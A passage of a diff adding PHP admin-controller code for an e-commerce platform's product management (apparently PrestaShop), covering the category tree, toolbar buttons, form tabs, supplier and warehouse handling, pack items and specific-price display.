self::$currentIndex).'&token='.$this->token; + } + // @todo module free + $this->tpl_form_vars['vat_number'] = file_exists(_PS_MODULE_DIR_.'vatnumber/ajax.php'); + + parent::initContent(); + } + + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('duplicate'); + $this->addRowAction('delete'); + return parent::renderList(); + } + + public function ajaxProcessProductManufacturers() + { + $manufacturers = Manufacturer::getManufacturers(); + $jsonArray = array(); + if ($manufacturers) + foreach ($manufacturers as $manufacturer) + $jsonArray[] = '{"optionValue": "'.(int)$manufacturer['id_manufacturer'].'", "optionDisplay": "'.htmlspecialchars(trim($manufacturer['name'])).'"}'; + die('['.implode(',', $jsonArray).']'); + } + + /** + * Build a categories tree + * + * @param array $indexedCategories Array with categories where product is indexed (in order to check checkbox) + * @param array $categories Categories to list + * @param array $current Current category + * @param integer $id_category Current category id + */ + public static function recurseCategoryForInclude($id_obj, $indexedCategories, $categories, $current, $id_category = 1, $id_category_default = null, $has_suite = array()) + { + global $done; + static $irow; + $content = ''; + if (!isset($done[$current['infos']['id_parent']])) + $done[$current['infos']['id_parent']] = 0; + $done[$current['infos']['id_parent']] += 1; + + $todo = count($categories[$current['infos']['id_parent']]); + $doneC = $done[$current['infos']['id_parent']]; + + $level = $current['infos']['level_depth'] + 1; + + $content .= ' + <tr class="'.($irow++ % 2 ? 'alt_row' : '').'"> + <td> + <input type="checkbox" name="categoryBox[]" class="categoryBox'.($id_category_default == $id_category ? ' id_category_default' : '').'" id="categoryBox_'.$id_category.'" value="'.$id_category.'"'.((in_array($id_category, $indexedCategories) || ((int)(Tools::getValue('id_category')) == $id_category && !(int)($id_obj))) ? ' checked="checked"' : '').' /> + </td> + <td> + '.$id_category.' + </td> + <td>'; + for ($i = 2; $i < $level; $i++) + $content .= '<img src="../img/admin/lvl_'.$has_suite[$i - 2].'.gif" alt="" />'; + $content .= '<img src="../img/admin/'.($level == 1 ? 'lv1.gif' : 'lv2_'.($todo == $doneC ? 'f' : 'b').'.gif').'" alt="" />   + <label for="categoryBox_'.$id_category.'" class="t">'.stripslashes($current['infos']['name']).'</label></td> + </tr>'; + + if ($level > 1) + $has_suite[] = ($todo == $doneC ? 0 : 1); + if (isset($categories[$id_category])) + foreach ($categories[$id_category] as $key => $row) + if ($key != 'infos') + $content .= AdminProductsController::recurseCategoryForInclude($id_obj, $indexedCategories, $categories, $categories[$id_category][$key], $key, $id_category_default, $has_suite); + return $content; + } + + protected function _displayDraftWarning($active) + { + $content = '<div class="warn draft" style="'.($active ? 'display:none' : '').'"> + <p> + <span style="float: left"> + '.$this->l('Your product will be saved as a draft.').' + </span> + <span style="float:right"><a href="#" class="button" style="display: block" onclick="submitAddProductAndPreview()" >'.$this->l('Save and preview.').'</a></span> + <input type="hidden" name="fakeSubmitAddProductAndPreview" id="fakeSubmitAddProductAndPreview" /> + <br class="clear" /> + </p> + </div>'; + $this->tpl_form_vars['draft_warning'] = $content; + } + + public function initToolbar() + { + parent::initToolbar(); + if ($this->display == 'edit' || $this->display == 'add') + { + if ($product = $this->loadObject(true)) + { + if ((bool)$product->id) + { + // adding button for delete this product + if ($this->tabAccess['delete'] && $this->display != 'add') + $this->toolbar_btn['delete'] = array( + 'short' => 'Delete', + 'href' => $this->context->link->getAdminLink('AdminProducts').'&id_product='.(int)$product->id.'&deleteproduct', + 'desc' => $this->l('Delete this product.'), + 'confirm' => 1, + 'js' => 'if (confirm(\''.$this->l('Delete product?').'\')){return true;}else{event.preventDefault();}' + ); + + // adding button for duplicate this product + if ($this->tabAccess['add'] && $this->display != 'add') + $this->toolbar_btn['duplicate'] = array( + 'short' => 'Duplicate', + 'desc' => $this->l('Duplicate'), + 'confirm' => 1, + 'js' => 'if (confirm(\''.$this->l('Also copy images').' ?\')) document.location = \''.$this->context->link->getAdminLink('AdminProducts').'&id_product='.(int)$product->id.'&duplicateproduct\'; else document.location = \''.$this->context->link->getAdminLink('AdminProducts').'&id_product='.(int)$product->id.'&duplicateproduct&noimage=1\';' + ); + + // adding button for preview this product + if ($url_preview = $this->getPreviewUrl($product)) + $this->toolbar_btn['preview'] = array( + 'short' => 'Preview', + 'href' => $url_preview, + 'desc' => $this->l('Preview'), + 'target' => true, + 'class' => 'previewUrl' + ); + + // adding button for preview this product statistics + if (file_exists(_PS_MODULE_DIR_.'statsproduct/statsproduct.php') && $this->display != 'add') + $this->toolbar_btn['stats'] = array( + 'short' => 'Statistics', + 'href' => $this->context->link->getAdminLink('AdminStats').'&module=statsproduct&id_product='.(int)$product->id, + 'desc' => $this->l('Product sales'), + ); + + // adding button for adding a new combination in Combination tab + $this->toolbar_btn['newCombination'] = array( + 'short' => 'New combination', + 'desc' => $this->l('New combination'), + 'class' => 'toolbar-new' + ); + } + + if ($this->tabAccess['edit']) + { + $this->toolbar_btn['save'] = array( + 'short' => 'Save', + 'href' => '#', + 'desc' => $this->l('Save'), + ); + + $this->toolbar_btn['save-and-stay'] = array( + 'short' => 'SaveAndStay', + 'href' => '#', + 'desc' => $this->l('Save and stay'), + ); + } + } + } + else + $this->toolbar_btn['import'] = array( + 'href' => $this->context->link->getAdminLink('AdminImport', true).'&import_type='.$this->table, + 'desc' => $this->l('Import') + ); + + $this->context->smarty->assign('toolbar_scroll', 1); + $this->context->smarty->assign('show_toolbar', 1); + $this->context->smarty->assign('toolbar_btn', $this->toolbar_btn); + } + + public function initToolbarTitle() + { + parent::initToolbarTitle(); + if ($product = $this->loadObject(true)) + if ((bool)$product->id && $this->display != 'list' && isset($this->toolbar_title[2])) + $this->toolbar_title[2] = $this->toolbar_title[2].' ('.$this->product_name.')'; + } + + /** + * renderForm contains all necessary initialization needed for all tabs + * + * @return void + */ + public function renderForm() + { + // This nice code (irony) is here to store the product name, because the row after will erase product name in multishop context + $this->product_name = $this->object->name[$this->context->language->id]; + + if (!method_exists($this, 'initForm'.$this->tab_display)) + return; + + $product = $this->object; + + // Product for multishop + $this->context->smarty->assign('bullet_common_field', ''); + if (Shop::isFeatureActive() && $this->display == 'edit') + { + if (Shop::getContext() != Shop::CONTEXT_SHOP) + { + $this->context->smarty->assign(array( + 'display_multishop_checkboxes' => true, + 'multishop_check' => Tools::getValue('multishop_check'), + )); + } + + if (Shop::getContext() != Shop::CONTEXT_ALL) + { + $this->context->smarty->assign('bullet_common_field', '<img src="themes/'.$this->context->employee->bo_theme.'/img/bullet_orange.png" style="vertical-align: bottom" />'); + $this->context->smarty->assign('display_common_field', true); + } + } + + $this->tpl_form_vars['tabs_preloaded'] = $this->available_tabs; + + $this->tpl_form_vars['product_type'] = (int)Tools::getValue('type_product', $product->getType()); + + $this->getLanguages(); + + $this->tpl_form_vars['id_lang_default'] = Configuration::get('PS_LANG_DEFAULT'); + + $this->tpl_form_vars['currentIndex'] = self::$currentIndex; + $this->tpl_form_vars['display_multishop_checkboxes'] = (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_SHOP && $this->display == 'edit'); + $this->fields_form = array(''); + $this->display = 'edit'; + $this->tpl_form_vars['token'] = $this->token; + $this->tpl_form_vars['combinationImagesJs'] = $this->getCombinationImagesJs(); + $this->tpl_form_vars['PS_ALLOW_ACCENTED_CHARS_URL'] = (int)Configuration::get('PS_ALLOW_ACCENTED_CHARS_URL'); + $this->tpl_form_vars['post_data'] = Tools::jsonEncode($_POST); + $this->tpl_form_vars['save_error'] = !empty($this->errors); + + // autoload rich text editor (tiny mce) + $this->tpl_form_vars['tinymce'] = true; + $iso = $this->context->language->iso_code; + $this->tpl_form_vars['iso'] = file_exists(_PS_ROOT_DIR_.'/js/tiny_mce/langs/'.$iso.'.js') ? $iso : 'en'; + $this->tpl_form_vars['ad'] = dirname($_SERVER['PHP_SELF']); + + if (Validate::isLoadedObject(($this->object))) + $id_product = (int)$this->object->id; + else + $id_product = (int)Tools::getvalue('id_product'); + + $this->tpl_form_vars['form_action'] = $this->context->link->getAdminLink('AdminProducts').'&'.($id_product ? 'id_product='.(int)$id_product : 'addproduct'); + $this->tpl_form_vars['id_product'] = $id_product; + + // Transform configuration option 'upload_max_filesize' in octets + $upload_max_filesize = Tools::getOctets(ini_get('upload_max_filesize')); + + // Transform configuration option 'upload_max_filesize' in MegaOctets + $upload_max_filesize = ($upload_max_filesize / 1024) / 1024; + + $this->tpl_form_vars['upload_max_filesize'] = $upload_max_filesize; + $this->tpl_form_vars['country_display_tax_label'] = $this->context->country->display_tax_label; + $this->tpl_form_vars['has_combinations'] = $this->object->hasAttributes(); + + $this->product_exists_in_shop = true; + if ($this->display == 'edit' && Validate::isLoadedObject($product) && Shop::isFeatureActive() && Shop::getContext() == Shop::CONTEXT_SHOP && !$product->isAssociatedToShop($this->context->shop->id)) + { + $this->product_exists_in_shop = false; + if ($this->tab_display == 'Informations') + $this->displayWarning($this->l('Warning: The product does not exist in this shop.')); + + $default_product = new Product(); + $definition = ObjectModel::getDefinition($product); + foreach ($definition['fields'] as $field_name => $field) + if (isset($field['shop']) && $field['shop']) + $product->$field_name = ObjectModel::formatValue($default_product->$field_name, $field['type']); + } + + // let's calculate this once for all + if (!Validate::isLoadedObject($this->object) && Tools::getValue('id_product')) + $this->errors[] = 'Unable to load object'; + else + { + $this->_displayDraftWarning($this->object->active); + + // if there was an error while saving, we don't want to lose posted data + if (!empty($this->errors)) + $this->copyFromPost($this->object, $this->table); + + $this->initPack($this->object); + $this->{'initForm'.$this->tab_display}($this->object); + $this->tpl_form_vars['product'] = $this->object; + if ($this->ajax) + if (!isset($this->tpl_form_vars['custom_form'])) + throw new PrestaShopException('custom_form empty for action '.$this->tab_display); + else + return $this->tpl_form_vars['custom_form']; + } + $parent = parent::renderForm(); + $this->addJqueryPlugin(array('autocomplete', 'fancybox', 'typewatch')); + return $parent; + } + + public function getPreviewUrl(Product $product) + { + if (!ShopUrl::getMainShopDomain()) + return false; + $is_rewrite_active = (bool)Configuration::get('PS_REWRITING_SETTINGS'); + $preview_url = $this->context->link->getProductLink( + $product, + $this->getFieldValue($product, 'link_rewrite', $this->context->language->id), + Category::getLinkRewrite($product->id_category_default, $this->context->language->id), + null, + null, + Context::getContext()->shop->id, + 0, + $is_rewrite_active + ); + if (!$product->active) + { + $preview_url = $this->context->link->getProductLink( + $product, + $this->getFieldValue($product, 'link_rewrite', $this->default_form_language), + Category::getLinkRewrite($this->getFieldValue($product, 'id_category_default'), $this->context->language->id), + null, + null, + Context::getContext()->shop->id, + 0, + $is_rewrite_active + ); + + if (!$product->active) + { + $admin_dir = dirname($_SERVER['PHP_SELF']); + $admin_dir = substr($admin_dir, strrpos($admin_dir, '/') + 1); + + $preview_url .= $product->active ? '' : '&adtoken='.$this->token.'&ad='.$admin_dir.'&id_employee='.(int)$this->context->employee->id; + } + } + return $preview_url; + } + + /** + * Post treatment for suppliers + */ + public function processSuppliers() + { + if ((int)Tools::getValue('supplier_loaded') === 1 && Validate::isLoadedObject($product = new Product((int)Tools::getValue('id_product')))) + { + // Get all id_product_attribute + $attributes = $product->getAttributesResume($this->context->language->id); + if (empty($attributes)) + $attributes[] = array( + 'id_product_attribute' => 0, + 'attribute_designation' => '' + ); + + // Get all available suppliers + $suppliers = Supplier::getSuppliers(); + + // Get already associated suppliers + $associated_suppliers = ProductSupplier::getSupplierCollection($product->id); + + $suppliers_to_associate = array(); + $new_default_supplier = 0; + + if (Tools::isSubmit('default_supplier')) + $new_default_supplier = (int)Tools::getValue('default_supplier'); + + // Get new associations + foreach ($suppliers as $supplier) + if (Tools::isSubmit('check_supplier_'.$supplier['id_supplier'])) + $suppliers_to_associate[] = $supplier['id_supplier']; + + // Delete already associated suppliers if needed + foreach ($associated_suppliers as $key => $associated_supplier) + if (!in_array($associated_supplier->id_supplier, $suppliers_to_associate)) + { + $associated_supplier->delete(); + unset($associated_suppliers[$key]); + } + + // Associate suppliers + foreach ($suppliers_to_associate as $id) + { + $to_add = true; + foreach ($associated_suppliers as $as) + if ($id == $as->id_supplier) + $to_add = false; + + if ($to_add) + { + $product_supplier = new ProductSupplier(); + $product_supplier->id_product = $product->id; + $product_supplier->id_product_attribute = 0; + $product_supplier->id_supplier = $id; + $product_supplier->save(); + + $associated_suppliers[] = $product_supplier; + } + } + + // Manage references and prices + foreach ($attributes as $attribute) + foreach ($associated_suppliers as $supplier) + { + if (Tools::isSubmit('supplier_reference_'.$product->id.'_'.$attribute['id_product_attribute'].'_'.$supplier->id_supplier) || + (Tools::isSubmit('product_price_'.$product->id.'_'.$attribute['id_product_attribute'].'_'.$supplier->id_supplier) && + Tools::isSubmit('product_price_currency_'.$product->id.'_'.$attribute['id_product_attribute'].'_'.$supplier->id_supplier))) + { + $reference = pSQL( + Tools::getValue( + 'supplier_reference_'.$product->id.'_'.$attribute['id_product_attribute'].'_'.$supplier->id_supplier, + '' + ) + ); + + $price = (float)str_replace( + array(' ', ','), + array('', '.'), + Tools::getValue( + 'product_price_'.$product->id.'_'.$attribute['id_product_attribute'].'_'.$supplier->id_supplier, + 0 + ) + ); + + $price = Tools::ps_round($price, 6); + + $id_currency = (int)Tools::getValue( + 'product_price_currency_'.$product->id.'_'.$attribute['id_product_attribute'].'_'.$supplier->id_supplier, + 0 + ); + + if ($id_currency <= 0 || ( !($result = Currency::getCurrency($id_currency)) || empty($result) )) + $this->errors[] = Tools::displayError($this->l('The selected currency is not valid.')); + + // Save product-supplier data + $product_supplier_id = (int)ProductSupplier::getIdByProductAndSupplier($product->id, $attribute['id_product_attribute'], $supplier->id_supplier); + + if (!$product_supplier_id) + { + $product->addSupplierReference($supplier->id_supplier, (int)$attribute['id_product_attribute'], $reference, (float)Tools::convertPrice($price, $id_currency), (int)$id_currency); + if ($product->id_supplier == $supplier->id_supplier) + { + if ((int)$attribute['id_product_attribute'] > 0) + { + $data = array( + 'supplier_reference' => pSQL($reference), + 'wholesale_price' => (float)Tools::convertPrice($price, $id_currency) + ); + $where = ' + a.id_product = '.(int)$product->id.' + AND a.id_product_attribute = '.(int)$attribute['id_product_attribute']; + ObjectModel::updateMultishopTable('Combination', $data, $where); + } + else + { + $product->wholesale_price = (float)Tools::convertPrice($price, $id_currency); //converted in the default currency + $product->supplier_reference = pSQL($reference); + $product->update(); + } + } + } + else + { + $product_supplier = new ProductSupplier($product_supplier_id); + $product_supplier->id_currency = (int)$id_currency; + $product_supplier->product_supplier_price_te = (float)Tools::convertPrice($price, $id_currency); //converted in the default currency + $product_supplier->product_supplier_reference = pSQL($reference); + $product_supplier->update(); + + } + } + elseif (Tools::isSubmit('supplier_reference_'.$product->id.'_'.$attribute['id_product_attribute'].'_'.$supplier->id_supplier)) + { + //int attribute with default values if possible + if ((int)$attribute['id_product_attribute'] > 0) + { + $product_supplier = new ProductSupplier(); + $product_supplier->id_product = $product->id; + $product_supplier->id_product_attribute = (int)$attribute['id_product_attribute']; + $product_supplier->id_supplier = $supplier->id_supplier; + $product_supplier->save(); + } + } + } + // Manage defaut supplier for product + if ($new_default_supplier != $product->id_supplier) + { + $this->object->id_supplier = $new_default_supplier; + $this->object->update(); + } + } + } + + /** + * Post treatment for warehouses + */ + public function processWarehouses() + { + if ((int)Tools::getValue('warehouse_loaded') === 1 && Validate::isLoadedObject($product = new Product((int)$id_product = Tools::getValue('id_product')))) + { + // Get all id_product_attribute + $attributes = $product->getAttributesResume($this->context->language->id); + if (empty($attributes)) + $attributes[] = array( + 'id_product_attribute' => 0, + 'attribute_designation' => '' + ); + + // Get all available warehouses + $warehouses = Warehouse::getWarehouses(true); + + // Get already associated warehouses + $associated_warehouses_collection = WarehouseProductLocation::getCollection($product->id); + + $elements_to_manage = array(); + + // get form inforamtion + foreach ($attributes as $attribute) + { + foreach ($warehouses as $warehouse) + { + $key = $warehouse['id_warehouse'].'_'.$product->id.'_'.$attribute['id_product_attribute']; + + // get elements to manage + if (Tools::isSubmit('check_warehouse_'.$key)) + { + $location = Tools::getValue('location_warehouse_'.$key, ''); + $elements_to_manage[$key] = $location; + } + } + } + + // Delete entry if necessary + foreach ($associated_warehouses_collection as $awc) + { + if (!array_key_exists($awc->id_warehouse.'_'.$awc->id_product.'_'.$awc->id_product_attribute, $elements_to_manage)) + $awc->delete(); + } + + // Manage locations + foreach ($elements_to_manage as $key => $location) + { + $params = explode('_', $key); + + $wpl_id = (int)WarehouseProductLocation::getIdByProductAndWarehouse((int)$params[1], (int)$params[2], (int)$params[0]); + + if (empty($wpl_id)) + { + //create new record + $warehouse_location_entity = new WarehouseProductLocation(); + $warehouse_location_entity->id_product = (int)$params[1]; + $warehouse_location_entity->id_product_attribute = (int)$params[2]; + $warehouse_location_entity->id_warehouse = (int)$params[0]; + $warehouse_location_entity->location = pSQL($location); + $warehouse_location_entity->save(); + } + else + { + $warehouse_location_entity = new WarehouseProductLocation((int)$wpl_id); + + $location = pSQL($location); + + if ($location != $warehouse_location_entity->location) + { + $warehouse_location_entity->location = pSQL($location); + $warehouse_location_entity->update(); + } + } + } + StockAvailable::synchronize((int)$id_product); + } + } + + public function initFormAssociations($obj) + { + $product = $obj; + $data = $this->createTemplate($this->tpl_form); + // Prepare Categories tree for display in Associations tab + $root = Category::getRootCategory(); + $default_category = $this->context->cookie->id_category_products_filter ? $this->context->cookie->id_category_products_filter : Context::getContext()->shop->id_category; + if (!$product->id || !$product->isAssociatedToShop()) + $selected_cat = Category::getCategoryInformations(Tools::getValue('categoryBox', array($default_category)), $this->default_form_language); + else + { + if (Tools::isSubmit('categoryBox')) + $selected_cat = Category::getCategoryInformations(Tools::getValue('categoryBox', array($default_category)), $this->default_form_language); + else + $selected_cat = Product::getProductCategoriesFull($product->id, $this->default_form_language); + } + + // Multishop block + $data->assign('feature_shop_active', Shop::isFeatureActive()); + $helper = new HelperForm(); + if ($this->object && $this->object->id) + $helper->id = $this->object->id; + else + $helper->id = null; + $helper->table = $this->table; + $helper->identifier = $this->identifier; + + // Accessories block + $accessories = Product::getAccessoriesLight($this->context->language->id, $product->id); + + if ($post_accessories = Tools::getValue('inputAccessories')) + { + $post_accessories_tab = explode('-', Tools::getValue('inputAccessories')); + foreach ($post_accessories_tab as $accessory_id) + if (!$this->haveThisAccessory($accessory_id, $accessories) && $accessory = Product::getAccessoryById($accessory_id)) + $accessories[] = $accessory; + } + $data->assign('accessories', $accessories); + + $product->manufacturer_name = Manufacturer::getNameById($product->id_manufacturer); + + $tab_root = array('id_category' => $root->id, 'name' => $root->name); + $helper = new Helper(); + $category_tree = $helper->renderCategoryTree($tab_root, $selected_cat, 'categoryBox', false, true, array(), false, true); + $data->assign(array('default_category' => $default_category, + 'selected_cat_ids' => implode(',', array_keys($selected_cat)), + 'selected_cat' => $selected_cat, + 'id_category_default' => $product->getDefaultCategory(), + 'category_tree' => $category_tree, + 'product' => $product, + 'link' => $this->context->link, + 'is_shop_context' => Shop::getContext() == Shop::CONTEXT_SHOP + )); + + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function initFormPrices($obj) + { + $data = $this->createTemplate($this->tpl_form); + $product = $obj; + if ($obj->id) + { + $shops = Shop::getShops(); + $countries = Country::getCountries($this->context->language->id); + $groups = Group::getGroups($this->context->language->id); + $currencies = Currency::getCurrencies(); + $attributes = $obj->getAttributesGroups((int)$this->context->language->id); + $combinations = array(); + foreach ($attributes as $attribute) + { + $combinations[$attribute['id_product_attribute']]['id_product_attribute'] = $attribute['id_product_attribute']; + if (!isset($combinations[$attribute['id_product_attribute']]['attributes'])) + $combinations[$attribute['id_product_attribute']]['attributes'] = ''; + $combinations[$attribute['id_product_attribute']]['attributes'] .= $attribute['attribute_name'].' - '; + + $combinations[$attribute['id_product_attribute']]['price'] = Tools::displayPrice( + Tools::convertPrice( + Product::getPriceStatic((int)$obj->id, false, $attribute['id_product_attribute']), + $this->context->currency + ), $this->context->currency + ); + } + foreach ($combinations as &$combination) + $combination['attributes'] = rtrim($combination['attributes'], ' - '); + $data->assign('specificPriceModificationForm', $this->_displaySpecificPriceModificationForm( + $this->context->currency, $shops, $currencies, $countries, $groups) + ); + + $data->assign('ecotax_tax_excl', $obj->ecotax); + $this->_applyTaxToEcotax($obj); + + $data->assign(array( + 'shops' => $shops, + 'admin_one_shop' => count($this->context->employee->getAssociatedShops()) == 1, + 'currencies' => $currencies, + 'countries' => $countries, + 'groups' => $groups, + 'combinations' => $combinations, + 'multi_shop' => Shop::isFeatureActive(), + 'link' => new Link() + )); + } + else + { + $this->displayWarning($this->l('You must save this product before adding specific pricing')); + $product->id_tax_rules_group = (int)Product::getIdTaxRulesGroupMostUsed(); + $data->assign('ecotax_tax_excl', 0); + } + + // prices part + $data->assign(array( + 'link' => $this->context->link, + 'currency' => $currency = $this->context->currency, + 'tax_rules_groups' => TaxRulesGroup::getTaxRulesGroups(true), + 'taxesRatesByGroup' => TaxRulesGroup::getAssociatedTaxRatesByIdCountry($this->context->country->id), + 'ecotaxTaxRate' => Tax::getProductEcotaxRate(), + 'tax_exclude_taxe_option' => Tax::excludeTaxeOption(), + 'ps_use_ecotax' => Configuration::get('PS_USE_ECOTAX'), + )); + + $product->price = Tools::convertPrice($product->price, $this->context->currency, true, $this->context); + if ($product->unit_price_ratio != 0) + $data->assign('unit_price', Tools::ps_round($product->price / $product->unit_price_ratio, 2)); + else + $data->assign('unit_price', 0); + $data->assign('ps_tax', Configuration::get('PS_TAX')); + + $data->assign('country_display_tax_label', $this->context->country->display_tax_label); + $data->assign(array( + 'currency', $this->context->currency, + 'product' => $product, + 'token' => $this->token + )); + + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function initFormSeo($product) + { + $data = $this->createTemplate($this->tpl_form); + + $data->assign(array( + 'product' => $product, + 'languages' => $this->_languages, + 'default_language' => (int)Configuration::get('PS_LANG_DEFAULT'), + 'ps_ssl_enabled' => Configuration::get('PS_SSL_ENABLED'), + 'curent_shop_url' => $this->context->shop->getBaseURL() + )); + + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + /** + * Get an array of pack items for display from the product object if specified, else from POST/GET values + * + * @param Product $product + * @return array of pack items + */ + public function getPackItems($product = null) + { + $pack_items = array(); + + if (!$product) + { + $names_input = Tools::getValue('namePackItems'); + $ids_input = Tools::getValue('inputPackItems'); + if (!$names_input || !$ids_input) + return array(); + // ids is an array of string with format : QTYxID + $ids = array_unique(explode('-', $ids_input)); + $names = array_unique(explode('¤', $names_input)); + + if (!empty($ids)) + { + $length = count($ids); + for ($i = 0; $i < $length; $i++) + if (!empty($ids[$i]) && !empty($names[$i])) + { + list($pack_items[$i]['pack_quantity'], $pack_items[$i]['id']) = explode('x', $ids[$i]); + $exploded_name = explode('x', $names[$i]); + $pack_items[$i]['name'] = $exploded_name[1]; + } + } + } + else + { + $i = 0; + foreach ($product->packItems as $pack_item) + { + $pack_items[$i]['id'] = $pack_item->id; + $pack_items[$i]['pack_quantity'] = $pack_item->pack_quantity; + $pack_items[$i]['name'] = $pack_item->name; + $i++; + } + } + + return $pack_items; + } + + public function initFormPack($product) + { + $data = $this->createTemplate($this->tpl_form); + + // If pack items have been submitted, we want to display them instead of the actuel content of the pack + // in database. In case of a submit error, the posted data is not lost and can be sent again. + if (Tools::getValue('namePackItems')) + { + $input_pack_items = Tools::getValue('inputPackItems'); + $input_namepack_items = Tools::getValue('namePackItems'); + $pack_items = $this->getPackItems(); + } + else + { + $product->packItems = Pack::getItems($product->id, $this->context->language->id); + $pack_items = $this->getPackItems($product); + $input_namepack_items = ''; + $input_pack_items = ''; + foreach ($pack_items as $pack_item) + { + $input_pack_items .= $pack_item['pack_quantity'].'x'.$pack_item['id'].'-'; + $input_namepack_items .= $pack_item['pack_quantity'].' x '.$pack_item['name'].'¤'; + } + } + + $data->assign(array( + 'input_pack_items' => $input_pack_items, + 'input_namepack_items' => $input_namepack_items, + 'pack_items' => $pack_items, + 'product_type' => (int)Tools::getValue('type_product', $product->getType()) + )); + + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function initFormVirtualProduct($product) + { + $data = $this->createTemplate($this->tpl_form); + + $currency = $this->context->currency; + + /* + * Form for adding a virtual product like software, mp3, etc... + */ + $product_download = new ProductDownload(); + if ($id_product_download = $product_download->getIdFromIdProduct($this->getFieldValue($product, 'id'))) + $product_download = new ProductDownload($id_product_download); + $product->{'productDownload'} = $product_download; + + // @todo handle is_virtual with the value of the product + $exists_file = realpath(_PS_DOWNLOAD_DIR_).'/'.$product->productDownload->filename; + $data->assign('product_downloaded', $product->productDownload->id && !empty($product->productDownload->display_filename)); + + if (!file_exists($exists_file) + && !empty($product->productDownload->display_filename) + && empty($product->cache_default_attribute)) + $msg = sprintf(Tools::displayError('This file "%s" is missing.'), $product->productDownload->display_filename); + else + $msg = ''; + + $data->assign('download_product_file_missing', $msg); + $data->assign('download_dir_writable', ProductDownload::checkWritableDir()); + + $data->assign('up_filename', strval(Tools::getValue('virtual_product_filename'))); + + $product->productDownload->nb_downloadable = ($product->productDownload->id > 0) ? $product->productDownload->nb_downloadable : htmlentities(Tools::getValue('virtual_product_nb_downloable'), ENT_COMPAT, 'UTF-8'); + $product->productDownload->date_expiration = ($product->productDownload->id > 0) ? ((!empty($product->productDownload->date_expiration) && $product->productDownload->date_expiration != '0000-00-00 00:00:00') ? date('Y-m-d', strtotime($product->productDownload->date_expiration)) : '' ) : htmlentities(Tools::getValue('virtual_product_expiration_date'), ENT_COMPAT, 'UTF-8'); + $product->productDownload->nb_days_accessible = ($product->productDownload->id > 0) ? $product->productDownload->nb_days_accessible : htmlentities(Tools::getValue('virtual_product_nb_days'), ENT_COMPAT, 'UTF-8'); + $product->productDownload->is_shareable = $product->productDownload->id > 0 && $product->productDownload->is_shareable; + + $data->assign('ad', dirname($_SERVER['PHP_SELF'])); + $data->assign('product', $product); + $data->assign('token', $this->token); + $data->assign('currency', $currency); + $data->assign($this->tpl_form_vars); + $data->assign('link', $this->context->link); + $data->assign('is_file', $product->productDownload->checkFile()); + $this->tpl_form_vars['product'] = $product; + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + protected function _getFinalPrice($specific_price, $product_price, $tax_rate) + { + return $this->object->getPrice(false, $specific_price['id_product_attribute'], 2); + } + + protected function _displaySpecificPriceModificationForm($defaultCurrency, $shops, $currencies, $countries, $groups) + { + $content = ''; + if (!($obj = $this->loadObject())) + return; + $specific_prices = SpecificPrice::getByProductId((int)$obj->id); + $specific_price_priorities = SpecificPrice::getPriority((int)$obj->id); + + $tax_rate = $obj->getTaxesRate(Address::initialize()); + + $tmp = array(); + foreach ($shops as $shop) + $tmp[$shop['id_shop']] = $shop; + $shops = $tmp; + $tmp = array(); + foreach ($currencies as $currency) + $tmp[$currency['id_currency']] = $currency; + $currencies = $tmp; + + $tmp = array(); + foreach ($countries as $country) + $tmp[$country['id_country']] = $country; + $countries = $tmp; + + $tmp = array(); + foreach ($groups as $group) + $tmp[$group['id_group']] = $group; + $groups = $tmp; + + if (!is_array($specific_prices) || !count($specific_prices)) + $content .= ' + <tr> + <td colspan="13">'.$this->l('No specific prices.').'</td> + </tr>'; + else + { + $i = 0; + foreach ($specific_prices as $specific_price) + { + $current_specific_currency = $currencies[($specific_price['id_currency'] ? $specific_price['id_currency'] : $defaultCurrency->id)]; + if ($specific_price['reduction_type'] == 'percentage') + $impact = '- '.($specific_price['reduction'] * 100).' %'; + elseif ($specific_price['reduction'] > 0) + $impact = '- '.Tools::displayPrice(Tools::ps_round($specific_price['reduction'], 2), $current_specific_currency); + else + $impact = '--'; + + if ($specific_price['from'] == '0000-00-00 00:00:00' && $specific_price['to'] == '0000-00-00 00:00:00') + $period = $this->l('Unlimited'); + else + $period = $this->l('From').' '.($specific_price['from'] != '0000-00-00 00:00:00' ? $specific_price['from'] : '0000-00-00 00:00:00').'<br />'.$this->l('To').' '.($specific_price['to'] != '0000-00-00 00:00:00' ? $specific_price['to'] : '0000-00-00 00:00:00'); + if ($specific_price['id_product_attribute']) + { + $combination = new Combination((int)$specific_price['id_product_attribute']); + $attributes = $combination->getAttributesName((int)$this->context->language->id); + $attributes_name = ''; + foreach ($attributes as $attribute) + $attributes_name .= $attribute['name'].' - '; + $attributes_name = rtrim($attributes_name, ' - '); + } + else + $attributes_name = $this->l('All combinations'); + + $rule = new SpecificPriceRule((int)$specific_price['id_specific_price_rule']); + $rule_name = ($rule->id ? $rule->name : '--'); + + if ($specific_price['id_customer']) + { + $customer = new Customer((int)$specific_price['id_customer']); + if (Validate::isLoadedObject($customer)) + $customer_full_name = $customer->firstname.' '.$customer->lastname; + unset($customer); + } + + if (!$specific_price['id_shop'] || in_array($specific_price['id_shop'], Shop::getContextListShopID())) + { + $content .= ' + <tr '.($i % 2 ? 'class="alt_row"' : '').'> + <td class="cell border">'.$rule_name.'</td> + <td class="cell border">'.$attributes_name.'</td>'; + + $can_delete_specific_prices = true; + if (Shop::isFeatureActive()) + { + $id_shop_sp = $specific_price['id_shop']; + $can_delete_specific_prices = (count($this->context->employee->getAssociatedShops()) > 1 && !$id_shop_sp) || $id_shop_sp; + $content .= ' + <td class="cell border">'.($id_shop_sp ? $shops[$id_shop_sp]['name'] : $this->l('All shops')).'</td>'; + } + $price = Tools::ps_round($specific_price['price'], 2); + $fixed_price = ($price == Tools::ps_round($obj->price, 2) || $specific_price['price'] == -1) ? '--' : Tools::displayPrice($price, $current_specific_currency); + $content .= ' + <td class="cell border">'.($specific_price['id_currency'] ? $currencies[$specific_price['id_currency']]['name'] : $this->l('All currencies')).'</td> + <td class="cell border">'.($specific_price['id_country'] ? $countries[$specific_price['id_country']]['name'] : $this->l('All countries')).'</td> + <td class="cell border">'.($specific_price['id_group'] ? $groups[$specific_price['id_group']]['name'] : $this->l('All groups')).'</td> + <td class="cell border" title="'.$this->l('ID:').' '.$specific_price['id_customer'].'">'.(isset($customer_full_name) ? $customer_full_name : $this->l('All 